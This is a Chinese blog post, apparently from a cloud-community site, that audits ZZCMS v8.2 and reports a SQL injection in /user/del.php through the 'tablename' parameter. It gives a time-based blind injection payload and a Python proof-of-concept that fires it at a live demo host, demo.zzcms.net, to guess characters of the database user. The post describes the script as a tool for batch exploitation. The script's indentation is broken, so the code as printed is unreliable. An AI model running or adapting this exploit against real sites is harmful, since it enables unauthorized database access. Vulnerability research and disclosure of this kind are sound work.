CMS漏洞之ZZCMS v8.2最新SQL注入漏洞

CMS漏洞之ZZCMS v8.2最新SQL注入漏洞 时间概述 近期在一直都在审核CMS漏洞,连续数日,一无所获,甚是无聊,略有些许焦躁。 暮然回首,桌角横幅,挚友所赠,书:《戒急用忍》,回想四爷当年之景,于今日此情此景,不甚寂寥。稍有感慨,正值审至ZZCMS V8.2,现SQL注入漏洞。大喜。 1.白盒审计 运用白盒审计工具,发现隐于暗处之SQL注入漏洞:/user/del.php 

代码位置: /user/del.php 12行,获取参数。

由于存在checkid() 导致 $id无法进行注入,checkid() 代码如图。 代码位置:/inc/function.php  49行

在switch() 分支中不存在SQL注入就不展示代码了。在后面代码中 135行 发现存在SQL注入问题。

$tablename 可控,可以进行SQL注入。由于$tablename 所在位置无需闭合引号和CMS过滤大于号和小于号(转换为实体),拼接为 select id,editor, from zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)#where id in 1; 拼接成如此的SQL语句可以完成注入。 2.漏洞利用 测试payload:id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)%23 测试结果如图。

3.POC 用python完成POC进行批量漏洞利用,猜测用户名的第一个字符。

#!/usr/bin/env python
 
# -*- coding: utf-8 -*-
 
import requests
 
import time
 
 
 
payloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'    #匹配用的字符串
 
url = "http://demo.zzcms.net/user/del.php"
 
user = ''
 
for i in range(1, 2):
 
        for payload in payloads:    #遍历取出字符
 
                startTime = time.time()
 
                post_data = "id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1))=" + str(ord(payload)) + "),sleep(5),1)%23".encode("utf-8")
 
                response = requests.post(url, timeout=6, data=post_data, headers={"Content-Type": "application/x-www-form-urlencoded"}  )
 
if time.time() - startTime > 5:
 
                        user = payload
 
print 'user is:', user
 
break
 
print '\n[Done] current user is %s' % user

至此,终结。缺少一些华丽的语坠,多了一些大家都想知道的技术干货,我觉着这样挺好~~

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏.NET技术

.net core实践系列之短信服务-Sikiro.SMS.Job服务的实现

本篇会继续讲解Sikiro.SMS.Job服务的实现,在我写第一篇的时候,我就发现我当时设计的架构里Sikiro.SMS.Job这个可以选择不需要,而使用MQ代...

962
来自专栏喵了个咪的博客空间

[喵咪大数据]Hadoop节点添加下线和磁盘扩容操作

Hadoop绝非一个简单程序,集群模式下更是如此,所有的数据都存储在Hadoop中如果操作不当会存在丢失数据的风险,那么怎么在安全的情况,扩容下线维护或者磁盘满...

4674
来自专栏落花落雨不落叶

史上最“脑残”的“抢火车票”程序(node.js版)

4016
来自专栏张戈的专栏

HTTP加速器varnish安装小记(1)

上午共享的那个varnish 安装手册,个人看了下,有点不知所云,好吧~看来还是先安装玩玩! 苦逼公司服务器没法连外网,不能用什么 wget 或 yum 命令直...

3208
来自专栏haifeiWu与他朋友们的专栏

线上 Elasticsearch 集群健康值 red 状态问题排查与解决

之前一直运行正常的数据分析平台,最近一段时间没有注意发现日志索引数据一直未生成,大概持续了n多天,当前状态: 单台机器, Elasticsearch(下面称ES...

8512
来自专栏安恒信息

当心,Kaskitya木马伪装成“京卡-互助服务卡”欺骗用户!

最近,我们关注到一起APT攻击事件,攻击者通过钓鱼邮件的方式投递含有恶意代码的附件,此附件包含一个名叫“Kaskitya”的木马。

1052
来自专栏黑泽君的专栏

day51_BOS项目_03

将上面的js文件引入所需要的jsp页面中,本例以index.jsp为例 /bos19/WebContent/WEB-INF/pages/common/inde...

741
来自专栏FreeBuf

无文件Powershell恶意程序使用DNS作为隐蔽信道

思科Talos安全团队最近发现一款Powershell恶意程序,用DNS进行双向通信。 前言 DNS是企业网络中最常用的Internet应用层协议。DNS提供域...

2709
来自专栏晨星先生的自留地

实战系列之你真的会mysql注入么?

1955
来自专栏FreeBuf

Aveo恶意软件分析

Palo Alto Networks 发现了一个名为 Aveo 的恶意软件家族,它针对日语用户开发。Aveo 的名字来自于其二进制文件中的嵌入式调试字符串。Av...

2036

扫码关注云+社区